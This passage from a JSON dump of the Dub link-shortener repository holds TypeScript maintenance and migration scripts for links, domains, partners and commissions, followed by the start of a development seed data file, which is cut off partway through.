    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const linksWithUtms = await prisma.link.findMany({\n    where: {\n      OR: [\n        { utm_source: { not: null } },\n        { utm_campaign: { not: null } },\n        { utm_medium: { not: null } },\n        { utm_content: { not: null } },\n        { utm_term: { not: null } },\n      ],\n    },\n    select: {\n      utm_source: true,\n      utm_campaign: true,\n      utm_medium: true,\n      utm_content: true,\n      utm_term: true,\n    },\n  });\n\n  const linkUtms = linksWithUtms.map(\n    (link) => Object.keys(link).filter((key) => link[key] !== null).length,\n  );\n\n  const totalUtms = linkUtms.reduce((acc, curr) => acc + curr, 0);\n\n  const averageUtms = totalUtms / linkUtms.length;\n\n  const groupByUtmCount = linkUtms.reduce((acc, curr) => {\n    acc[curr] = (acc[curr] || 0) + 1;\n    return acc;\n  }, {});\n\n  console.log({\n    totalUtms,\n    totalLinks: linkUtms.length,\n    averageUtms,\n    groupByUtmCount,\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/annature/import-domains.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { configureVercelNameservers } from \"@/lib/api/domains/configure-vercel-nameservers\";\nimport { prisma } from \"@dub/prisma\";\nimport { linkConstructorSimple } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const projectId = \"xxx\";\n  const userId = \"xxx\";\n  const domainList = [];\n\n  const domains = await prisma.domain.createMany({\n    data: domainList.map((d) => ({\n      id: createId({ prefix: \"dom_\" }),\n      slug: d,\n      projectId,\n    })),\n    skipDuplicates: true,\n  });\n\n  console.log(`Created ${domains.count} domains`);\n\n  const createdDomains = await prisma.domain.findMany({\n    where: {\n      slug: {\n        in: domainList,\n      },\n    },\n  });\n\n  const registeredDomains = await prisma.registeredDomain.createMany({\n    data: domainList.map((d) => ({\n      slug: d,\n      projectId,\n      domainId: createdDomains.find((cd) => cd.slug === d)?.id,\n      expiresAt: new Date(Date.now() + 1000 * 60 * 60 * 24 * 365), // 1 year from now\n    })),\n    skipDuplicates: true,\n  });\n\n  console.log({ registeredDomains });\n\n  const links = await prisma.link.createMany({\n    data: domainList.map((d) => ({\n      id: createId({ prefix: \"link_\" }),\n      domain: d,\n      key: \"_root\",\n      url: \"\",\n      shortLink: linkConstructorSimple({ domain: d, key: \"_root\" }),\n      userId,\n      projectId,\n    })),\n    skipDuplicates: true,\n  });\n\n  console.log(`Created ${links.count} links`);\n\n  //   const tbLinks = await prisma.link.findMany({\n  //     where: {\n  //       domain: {\n  //         in: domainList,\n  //       },\n  //     },\n  //   });\n\n  //   const tbResponse = await recordLink(tbLinks);\n\n  //   console.log({ tbResponse });\n\n  await Promise.all(\n    domainList.slice(100, 125).map(async (d) => {\n      const addRes = await addDomainToVercel(d);\n      console.log({ addRes });\n      const nsRes = await configureVercelNameservers(d);\n      console.log({ nsRes });\n    }),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/buffer/delete-old-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const where: Prisma.LinkWhereInput = {\n    projectId: \"cm05wnnpo000711ztj05wwdbu\",\n    folderId: \"fold_LIZsdjTgFVbQVGYSUmYAi5vT\",\n    archived: false,\n  };\n\n  const links = await prisma.link.findMany({\n    where,\n    select: {\n      id: true,\n      key: true,\n      createdAt: true,\n    },\n    take: 1000,\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  if (!links.length) {\n    console.log(\"No more links to delete.\");\n    return;\n  }\n\n  // console.table(links);\n\n  await prisma.link.deleteMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n  });\n\n  console.log(`Deleted ${links.length} links`);\n  const finalDeletedLink = links[links.length - 1];\n  console.log(\n    `Final deleted link: ${finalDeletedLink.key} (${new Date(finalDeletedLink.createdAt).toISOString()})`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/buffer/migrate-to-case-sensitive.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { linkConstructorSimple } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { linkCache } from \"../../lib/api/links/cache\";\nimport { encodeKeyIfCaseSensitive } from \"../../lib/api/links/case-sensitivity\";\n\nconst domain = \"buff.ly\";\nconst userId = \"user_EzRuKzR9sG3WmHapVV6aEec7\";\nconst oldFolderId = \"fold_LIZsdjTgFVbQVGYSUmYAi5vT\";\nconst newFolderId = \"fold_1JNQBVZV8P0NA0YGB11W2HHSQ\";\n\nasync function main() {\n  const where: Prisma.LinkWhereInput = {\n    userId,\n    domain,\n    folderId: oldFolderId,\n    createdAt: {\n      lte: new Date(\"2025-03-07T16:33:32.084Z\"),\n    },\n  };\n\n  const links = await prisma.link.findMany({\n    where,\n    select: {\n      id: true,\n      domain: true,\n      key: true,\n      shortLink: true,\n    },\n    take: 100,\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  console.log(`Found ${links.length} links to migrate...`);\n\n  if (!links.length) {\n    console.log(\"No more links to migrate.\");\n    return;\n  }\n\n  const linksToDelete: string[] = [];\n\n  await Promise.allSettled(\n    links.map(async (link) => {\n      const newKey = encodeKeyIfCaseSensitive({\n        domain,\n        key: link.key,\n      });\n\n      const newShortLink = linkConstructorSimple({\n        domain,\n        key: newKey,\n      });\n\n      try {\n        await prisma.link.update({\n          where: {\n            id: link.id,\n          },\n          data: {\n            key: newKey,\n            shortLink: newShortLink,\n            folderId: newFolderId,\n          },\n        });\n\n        console.log(\n          `Updated link ${link.id} from ${link.shortLink} to ${newShortLink} and new folder ${newFolderId}`,\n        );\n      } catch (error) {\n        // if the link already exists, delete it\n        if (error.code === \"P2002\") {\n          console.log(\n            `Link ${link.id} (${link.domain}/${link.key}) already exists, deleting...`,\n          );\n          linksToDelete.push(link.id);\n        }\n      }\n    }),\n  );\n\n  if (linksToDelete.length) {\n    console.log(`Deleting ${linksToDelete.length} links...`);\n    await prisma.link.deleteMany({\n      where: {\n        id: { in: linksToDelete },\n      },\n    });\n  }\n\n  // expire the Redis cache for the links so it fetches the latest version from the database\n  await linkCache.expireMany(links);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/bulk-archive-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst domain = \"song.fyi\";\n\nasync function main() {\n  const links = await prisma.link.updateMany({\n    where: {\n      domain,\n    },\n    data: {\n      archived: true,\n    },\n  });\n  console.log(links);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/bulk-create-domains.ts",
    "content": "// @ts-nocheck – old migration script\n\nimport { addDomainToVercel } from \"@/lib/api/domains/add-domain-vercel\";\nimport { createLink } from \"@/lib/api/links\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst projectId = \"xxx\";\nconst domains: { domain: string; target: string }[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"domains_to_add.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: any }) => {\n      const domain = result.data[\"Domain Name\"];\n      if (domain.length > 0) {\n        domains.push({\n          domain,\n          target: result.data[\"ReDirect To\"],\n        });\n      }\n    },\n    complete: async () => {\n      domains.slice(0, 10).forEach(async ({ domain, target }) => {\n        const vercelResponse = await addDomainToVercel(domain);\n\n        if (\n          vercelResponse.error &&\n          vercelResponse.error.code !== \"domain_already_in_use\" // ignore this error\n        ) {\n          console.error(vercelResponse.error.message);\n          return;\n        }\n\n        let response = await prisma.domain.findUnique({\n          where: {\n            slug: domain,\n          },\n        });\n\n        if (!response) {\n          response = await prisma.domain.create({\n            data: {\n              slug: domain,\n              projectId,\n            },\n          });\n        }\n\n        const effects = await createLink({\n          url: target,\n          domain: domain,\n          key: \"_root\",\n          projectId,\n          archived: false,\n          publicStats: false,\n          doIndex: false,\n          trackConversion: false,\n          proxy: false,\n          rewrite: false,\n        });\n\n        console.log({ vercelResponse, prisma: response.id, effects });\n      });\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/bulk-create-links.ts",
    "content": "import { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { bulkCreateLinks } from \"../lib/api/links/bulk-create-links\";\n\nconst links: any[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"links.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: any }) => {\n      const urlObj = new URL(result.data[\"Short link\"]);\n      links.push({\n        domain: urlObj.hostname,\n        key: urlObj.pathname.slice(1),\n        url: result.data[\"Destination URL\"],\n        createdAt: new Date(result.data[\"Creation date\"]),\n        projectId: \"ws_xxx\",\n        userId: \"user_xxx\",\n      });\n    },\n    complete: async () => {\n      const chunks = chunk(links, 500);\n      for (let i = 0; i < chunks.length; i++) {\n        const chunk = chunks[i];\n        await bulkCreateLinks({ links: chunk, skipRedisCache: true });\n        console.log(\n          `Created ${chunk.length * (i + 1)} of ${links.length} links, remaining: ${\n            links.length - chunk.length * (i + 1)\n          }`,\n        );\n        await new Promise((resolve) => setTimeout(resolve, 500));\n      }\n      console.log(`Imported ${links.length} links`);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/bulk-delete-links.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { recordLink } from \"../lib/tinybird\";\n\nconst programId = \"prog_xxx\";\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      programId,\n    },\n    include: {\n      ...includeTags,\n      ...includeProgramEnrollment,\n    },\n  });\n\n  console.log(`Found ${links.length} links to delete`);\n  console.table(links.slice(-10), [\"domain\", \"key\"]);\n\n  const response = await recordLink(links, { deleted: true });\n\n  console.log(\"Deleted links in Tinybird\", response);\n\n  const deletedLinks = await prisma.link.deleteMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n  });\n\n  console.log(`Deleted ${deletedLinks.count} links`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/bulk-update-links.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { recordLink } from \"../lib/tinybird\";\n\nasync function main() {\n  const linksToUpdate = await prisma.link.findMany({\n    where: {\n      programId: \"prog_xxx\",\n      partnerId: \"pn_xxx\",\n    },\n  });\n\n  console.log(`Found ${linksToUpdate.length} links to update`);\n  console.table(linksToUpdate.slice(-10), [\"domain\", \"key\"]);\n\n  const res = await prisma.link.updateMany({\n    where: {\n      id: {\n        in: linksToUpdate.map((link) => link.id),\n      },\n    },\n    data: {\n      tenantId: \"xxx\",\n    },\n  });\n\n  console.log(res);\n\n  const updatedLinks = await prisma.link.findMany({\n    where: {\n      id: {\n        in: linksToUpdate.map((link) => link.id),\n      },\n    },\n    include: {\n      ...includeTags,\n      ...includeProgramEnrollment,\n    },\n  });\n\n  const tbRes = await recordLink(updatedLinks);\n  console.log(tbRes);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/cache-popular-urls.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { getApexDomain } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      domain: \"dub.sh\",\n    },\n    select: {\n      url: true,\n    },\n  });\n\n  const apexDomains = links.map(({ url }) => {\n    return getApexDomain(url);\n  });\n\n  // array of apex domains with their count of occurrences\n  const apexDomainsWithCount = apexDomains.reduce((acc, domain) => {\n    if (!domain) {\n      return acc;\n    }\n    acc[domain] = (acc[domain] || 0) + 1;\n    return acc;\n  }, {});\n\n  // sort apex domains by count of occurrences\n  const sortedApexDomains = Object.keys(apexDomainsWithCount).sort(\n    (a, b) => apexDomainsWithCount[b] - apexDomainsWithCount[a],\n  );\n\n  const topApexDomains = sortedApexDomains.slice(0, 100).map((domain) => {\n    return {\n      domain,\n      count: apexDomainsWithCount[domain],\n    };\n  });\n\n  console.table(topApexDomains);\n\n  // apex domains with count of occurrences >= 5\n\n  const popularApexDomains = sortedApexDomains.filter(\n    (domain) => apexDomainsWithCount[domain] >= 5,\n  );\n\n  console.log({\n    allApexDomains: sortedApexDomains.length,\n    popularApexDomains: popularApexDomains.length,\n  });\n\n  fs.writeFileSync(\n    \"popular-domains.json\",\n    JSON.stringify(popularApexDomains, null, 2),\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/cal/backfill-referral-links.ts",
    "content": "import { PlanProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { includeTags } from \"../../lib/api/links/include-tags\";\nimport { createAndEnrollPartner } from \"../../lib/api/partners/create-and-enroll-partner\";\nimport { recordLink } from \"../../lib/tinybird/record-link\";\n\ninterface BackfillLinkProp {\n  externalId: string;\n  key: string;\n  name: string;\n  email: string;\n  avatar?: string;\n}\n\nconst linksToBackfill: BackfillLinkProp[] = [];\n\nasync function main() {\n  const { workspace, ...program } = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: \"prog_mODHMDrJPWlkpT7uzsUASFhK\",\n    },\n    include: {\n      workspace: true,\n    },\n  });\n\n  Papa.parse(fs.createReadStream(\"refer_cal_links_backfilled.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: { data: BackfillLinkProp }) => {\n      linksToBackfill.push(result.data);\n    },\n    complete: async () => {\n      const batch = linksToBackfill.slice(0, 50);\n\n      const finalResults: {\n        name: string;\n        email: string;\n        clicks: number;\n        leads: number;\n        sales: number;\n      }[] = [];\n\n      await Promise.all(\n        batch.map(async (l) => {\n          const link = await prisma.link.findUnique({\n            where: {\n              domain_key: {\n                domain: \"refer.cal.com\",\n                key: l.key,\n              },\n            },\n          });\n\n          if (!link) {\n            console.log(\"Link not found\", l.email);\n            return;\n          }\n\n          if (link.partnerId) {\n            console.log(\"Partner already enrolled\", l.email);\n            return;\n          }\n\n          try {\n            const res = await createAndEnrollPartner({\n              workspace: {\n                ...workspace,\n                plan: workspace.plan as PlanProps,\n                webhookEnabled: false,\n              },\n              program,\n              partner: {\n                name: l.name,\n                email: l.email,\n                image: l.avatar && l.avatar.length < 190 ? l.avatar : undefined,\n                tenantId: l.externalId,\n              },\n              // @ts-ignore\n              link,\n              userId: \"\",\n              skipEnrollmentCheck: true,\n            });\n\n            finalResults.push({\n              name: res.name,\n              email: res.email ?? \"\",\n              clicks: res.totalClicks,\n              leads: res.totalLeads,\n              sales: res.totalSales,\n            });\n\n            // remove row from csv\n            linksToBackfill.splice(linksToBackfill.indexOf(l), 1);\n            fs.writeFileSync(\n              \"refer_cal_links_backfilled.csv\",\n              Papa.unparse(linksToBackfill),\n              \"utf-8\",\n            );\n          } catch (e) {\n            if (e.message.includes(\"already enrolled\")) {\n              const partner = await prisma.partner.update({\n                where: {\n                  email: l.email,\n                },\n                data: {\n                  name: l.name,\n                  image: l.avatar ?? undefined,\n                },\n              });\n\n              await prisma.link\n                .update({\n                  where: {\n                    id: link.id,\n                  },\n                  data: {\n                    programId: program.id,\n                    partnerId: partner.id,\n                    tenantId: l.externalId,\n                    folderId: program.defaultFolderId,\n                    trackConversion: true,\n                  },\n                  include: includeTags,\n                })\n                .then((link) => recordLink(link));\n            } else {\n              console.error(e, l.email);\n            }\n          }\n        }),\n      );\n\n      console.table(finalResults);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/check-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const customerIds = await prisma.customer\n    .findMany({\n      select: {\n        externalId: true,\n      },\n    })\n    .then(\n      (customers) =>\n        customers\n          .map((customer) => customer.externalId)\n          .filter((id) => id !== null) as string[],\n    );\n\n  console.log(customerIds);\n\n  const projects = await prisma.project\n    .findMany({\n      where: {\n        plan: {\n          not: \"free\",\n        },\n        users: {\n          some: {\n            userId: {\n              in: customerIds,\n            },\n          },\n        },\n      },\n      select: {\n        name: true,\n        slug: true,\n        plan: true,\n        users: {\n          select: {\n            user: {\n              select: {\n                id: true,\n                email: true,\n              },\n            },\n          },\n          where: {\n            userId: {\n              in: customerIds,\n            },\n          },\n        },\n      },\n    })\n    .then((projects) =>\n      projects.map((project) => ({\n        ...project,\n        userId: project.users[0].user.id,\n        email: project.users[0].user.email,\n        users: undefined,\n      })),\n    );\n\n  console.table(projects);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/conversion-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\n// one-time script to get all workspaces/users that used conversion tracking on Dub in the last 3 months\nasync function main() {\n  const projectsByCustomerCount = await prisma.customer.groupBy({\n    by: [\"projectId\"],\n    where: {\n      createdAt: {\n        gte: new Date(Date.now() - 3 * 30 * 24 * 60 * 60 * 1000),\n      },\n    },\n    _count: {\n      id: true,\n    },\n    orderBy: {\n      _count: {\n        id: \"desc\",\n      },\n    },\n  });\n\n  const projectUserEmails = await prisma.project.findMany({\n    where: {\n      id: {\n        in: projectsByCustomerCount.map((project) => project.projectId),\n      },\n    },\n    select: {\n      id: true,\n      slug: true,\n      users: {\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n        where: {\n          user: {\n            email: {\n              not: null,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  console.table(\n    projectsByCustomerCount.map((project) => {\n      const projectData = projectUserEmails.find(\n        (p) => p.id === project.projectId,\n      );\n\n      return {\n        id: project.projectId,\n        slug: projectData?.slug,\n        userEmails: projectData?.users.map((u) => u.user.email),\n      };\n    }),\n  );\n\n  const chunks = chunk(\n    projectUserEmails.flatMap((p) => p.users.map((u) => u.user.email)),\n    49,\n  );\n\n  for (const chunk of chunks) {\n    console.log(chunk.join(\", \"));\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/convert-case-sensitive.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { linkConstructorSimple } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { encodeKeyIfCaseSensitive } from \"../lib/api/links/case-sensitivity\";\n\n// script to convert existing links for a domain to case sensitive (encoded) setup\nasync function main() {\n  const where: Prisma.LinkWhereInput = {\n    domain: \"xxx\",\n    NOT: {\n      key: {\n        endsWith: \"=\",\n      },\n    },\n  };\n\n  while (true) {\n    const links = await prisma.link.findMany({\n      where,\n      orderBy: {\n        createdAt: \"desc\",\n      },\n      take: 100,\n    });\n    if (!links.length) {\n      console.log(\"No more links to convert.\");\n      break;\n    }\n\n    await Promise.all(\n      links.map(async (link) => {\n        const newKey = encodeKeyIfCaseSensitive({\n          domain: link.domain,\n          key: link.key,\n        });\n\n        try {\n          const newLink = await prisma.link.update({\n            where: { id: link.id },\n            data: {\n              key: newKey,\n              shortLink: linkConstructorSimple({\n                domain: link.domain,\n                key: newKey,\n              }),\n            },\n          });\n\n          console.log(\n            `Updated link ${link.id} from key ${link.key} to ${newLink.key} (shortLink: ${newLink.shortLink})`,\n          );\n        } catch (error) {\n          console.error(`Error updating link ${link.id}: ${error}`);\n        }\n      }),\n    );\n\n    const remainingLinks = await prisma.link.count({\n      where,\n      skip: 100,\n    });\n\n    console.log(`Remaining links: ${remainingLinks}`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/convert-manual-commissions.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, CommissionType, Prisma } from \"@dub/prisma/client\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const manualPayouts = await prisma.payout.findMany({\n    where: {\n      periodStart: null,\n      periodEnd: null,\n    },\n    include: {\n      partner: true,\n    },\n  });\n\n  console.table(manualPayouts);\n\n  const manualCommissions: Prisma.CommissionCreateManyInput[] =\n    manualPayouts.map((payout) => {\n      return {\n        id: createId({ prefix: \"cm_\" }),\n        programId: payout.programId,\n        partnerId: payout.partnerId,\n        payoutId: payout.id,\n        type: CommissionType.custom,\n        amount: 0,\n        quantity: 1,\n        earnings: payout.amount,\n        description: payout.description,\n        status: CommissionStatus.processed,\n        createdAt: payout.createdAt,\n        updatedAt: new Date(),\n      };\n    });\n\n  console.table(manualCommissions);\n\n  // Add manual commissions to the database\n  const createdCommissions = await prisma.commission.createMany({\n    data: manualCommissions,\n    skipDuplicates: true,\n  });\n\n  console.log({ createdCommissions });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/create-integration.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { prisma } from \"@dub/prisma\";\nimport { DUB_WORKSPACE_ID } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const integration = await prisma.integration.create({\n    data: {\n      id: createId({ prefix: \"int_\" }),\n      name: \"Hubspot\",\n      slug: \"hubspot\",\n      description: \"Hubspot\",\n      developer: \"Dub\",\n      website: \"https://dub.co\",\n      verified: true,\n      projectId: DUB_WORKSPACE_ID,\n      category: \"\",\n      guideUrl: \"\",\n    },\n  });\n\n  console.log(`${integration.name} integration created`, integration);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/create-key.ts",
    "content": "// for backwards compatibility with old personal API keys\n\nimport { hashToken } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const token = nanoid(24);\n  console.log({ token });\n  const hashedKey = await hashToken(token);\n  // take first 3 and last 4 characters of the key\n  const partialKey = `${token.slice(0, 3)}...${token.slice(-4)}`;\n  await prisma.token.create({\n    data: {\n      name: \"E2E Test Key\",\n      hashedKey,\n      partialKey,\n      userId: \"xxx\",\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/deactivate-programs.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { deactivateProgram } from \"../lib/api/programs/deactivate-program\";\n\nasync function main() {\n  const programs = await prisma.program.findMany({\n    where: {\n      deactivatedAt: null,\n      workspace: {\n        plan: {\n          in: [\"free\", \"pro\"],\n        },\n      },\n    },\n    include: {\n      workspace: true,\n    },\n  });\n\n  console.log(`Found ${programs.length} programs to deactivate`);\n  console.table(\n    programs.map((p) => ({\n      id: p.id,\n      name: p.name,\n      slug: p.slug,\n      plan: p.workspace.plan,\n    })),\n  );\n\n  for (const program of programs) {\n    await deactivateProgram(program.id);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/delete-link-cache.ts",
    "content": "import { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// This script delete the existing link's cache\n// Run this after https://github.com/dubinc/dub/pull/1335 is merged\nasync function main() {\n  const domains = await prisma.domain.findMany({\n    take: 1,\n    skip: 0,\n  });\n\n  if (domains.length === 0) {\n    console.log(\"No domains found\");\n    return;\n  }\n\n  const pipeline = redis.pipeline();\n\n  domains.map((domain) => pipeline.del(domain.slug.toLocaleLowerCase()));\n\n  const result = await pipeline.exec();\n\n  // 1 means success, 0 means failure\n  console.log(\"Result\", result);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/dev/data.json",
    "content": "{\n  \"workspace\": {\n    \"id\": \"ws_1KETZ919F83ZJH6A80HWEHW6E\",\n    \"name\": \"Acme, Inc.\",\n    \"slug\": \"acme\",\n    \"logo\": \"https://assets.dub.co/logo.png\",\n    \"plan\": \"enterprise\",\n    \"billingCycleStart\": 1,\n    \"usageLimit\": 100000,\n    \"linksLimit\": 100000,\n    \"payoutsLimit\": 100000,\n    \"domainsLimit\": 100,\n    \"tagsLimit\": 100,\n    \"foldersLimit\": 100,\n    \"usersLimit\": 100,\n    \"aiLimit\": 100,\n    \"groupsLimit\": 100,\n    \"defaultProgramId\": \"prog_1K2J9DRWPPJ2F1RX53N92TSGA\",\n    \"invoicePrefix\": \"ACME\",\n    \"conversionEnabled\": true,\n    \"webhookEnabled\": true,\n    \"dotLinkClaimed\": true,\n    \"fastDirectDebitPayouts\": true\n  },\n  \"users\": [\n    {\n      \"id\": \"user_cludszk1h0000wmd2e0ea2b0p\",\n      \"name\": \"Owner\",\n      \"email\": \"owner@dub-internal-test.com\",\n      \"emailVerified\": \"2026-01-21T00:00:00.000Z\",\n      \"role\": \"owner\"\n    },\n    {\n      \"id\": \"user_cludszk1h0000wmd2e0ea2b0q\",\n      \"name\": \"Member\",\n      \"email\": \"member@dub-internal-test.com\",\n      \"emailVerified\": \"2026-01-21T00:00:00.000Z\",\n      \"role\": \"member\"\n    },\n    {\n      \"id\": \"user_cludszk1h0000wmd2e0ea2b0r\",\n      \"name\": \"Viewer\",\n      \"email\": \"viewer@dub-internal-test.com\",\n      \"emailVerified\": \"2026-01-21T00:00:00.000Z\",\n      \"role\": \"viewer\"\n    },\n    {\n      \"id\": \"user_cludszk1h0000wmd2e0ea2b0s\",\n      \"name\": \"Billing\",\n      \"email\": \"billing@dub-internal-test.com\",\n      \"emailVerified\": \"2026-01-21T00:00:00.000Z\",\n      \"role\": \"billing\"\n    }\n  ],\n  \"domains\": [\n    {\n      \"id\": \"dom_1KETZ919F83ZJH6A80HWEHW6E\",\n      \"slug\": \"dub.sh\",\n      \"verified\": true\n    }\n  ],\n  \"folders\": [\n    {\n      \"id\": \"fold_1K2J9DRWPPJ2F1RX53N92TSGB\",\n      \"name\": \"Partner Links\",\n      \"description\": \"Default folder for partner links\",\n      \"accessLevel\": \"write\"\n    }\n  ],\n  \"rewards\": [\n    {\n      \"id\": \"rw_1K2J9DRWPPJ2F1RX53N92TSGD\",\n      \"event\": \"lead\",\n      \"type\": \"flat\",\n      \"amountInCents\": 1000,\n      \"maxDuration\": null,\n      \"description\": null,\n      \"tooltipDescription\": null\n    },\n    {\n      \"id\": \"rw_1K2J9DRWPPJ2F1RX53N92TSGE\",\n      \"event\": \"sale\",\n      \"type\": \"flat\",\n      \"amountInCents\": 3000,\n      \"maxDuration\": 12,\n      \"description\": null,\n      \"tooltipDescription\": null\n    }\n  ],\n  \"groups\": [\n    {\n      \"id\": \"grp_1K2J9DRWPPJ2F1RX53N92TSGC\",\n      \"name\": \"Default Group\",\n      \"slug\": \"default\",\n      \"color\": null,\n      \"leadRewardId\": \"rw_1K2J9DRWPPJ2F1RX53N92TSGD\",\n      \"saleRewardId\": \"rw_1K2J9DRWPPJ2F1RX53N92TSGE\",\n      \"additionalLinks\": [\n        {\n          \"domain\": \"acme.com\",\n          \"validationMode\": \"domain\"\n        }\n      ],\n      \"defaultLinks\": [\n        {\n          \"url\": \"https://acme.com\"\n        },\n        {\n          \"url\": \"https://example.com\"\n        }\n      ]\n    }\n  ],\n  \"program\": {\n    \"id\": \"prog_1K2J9DRWPPJ2F1RX53N92TSGA\",\n    \"name\": \"Acme\",\n    \"slug\": \"acme\",\n    \"defaultFolderId\": \"fold_1K2J9DRWPPJ2F1RX53N92TSGB\",\n    \"defaultGroupId\": \"grp_1K2J9DRWPPJ2F1RX53N92TSGC\",\n    \"domain\": \"dub.sh\",\n    \"url\": \"https://acme.com\",\n    \"termsUrl\": \"https://acme.com/terms\",\n    \"helpUrl\": \"https://acme.com/help\",\n    \"supportEmail\": \"support@acme.com\",\n    \"logo\": \"https://assets.dub.co/logo.png\"\n  },\n  \"partners\": [\n    {\n      \"id\": \"pn_1K2J9DRWPPJ2F1RX53N92TSGD\",\n      \"name\": \"Partner 1\",\n      \"email\": \"partner1@dub-internal-test.com\",\n      \"description\": \"Partner 1 description\",\n      \"country\": \"US\",\n      \"createdAt\": \"2026-01-21T00:00:00.000Z\",\n      \"user\": {\n        \"id\": \"user_cl8dea8g1073109m7wkwlldqj\",\n        \"name\": \"Partner 1\",\n        \"email\": \"partner1@dub-internal-test.com\",\n        \"emailVerified\": \"2026-01-21T00:00:00.000Z\"\n      }\n    },\n    {\n      \"id\": \"pn_1K2J9DRWPPJ2F1RX53N92TSGE\",\n      \"name\": \"Partner 2\",\n      \"email\": \"partner2@dub-internal-test.com\",\n      \"description\": \"Partner 2 description\",\n      \"country\": \"US\",\n      \"createdAt\": \"2026-01-21T00:00:00.000Z\",\n      \"user\": {\n        \"id\": \"user_cludszk1h0000wmd2e0ea2b0t\",\n        \"name\": \"Partner 2\",\n        \"email\": \"partner2@dub-internal-test.com\",\n        \"emailVerified\": \"2026-01-21T00:00:00.000Z\"\n      }\n    },\n    {\n      \"id\": \"pn_1K2J9DRWPPJ2F1RX53N92TSGF\",\n      \"name\": \"Partner 3\",\n      \"email\": \"partner3@dub-internal-test.com\",\n      \"description\": \"Partner 3 description\",\n      \"country\": \"US\",\n      \"createdAt\": \"2026-01-21T00:00:00.000Z\",\n      \"user\": {\n        \"id\": \"user_cludszk1h0000wmd2e0ea2b0u\",\n        \"name\": \"Partner 3\",\n        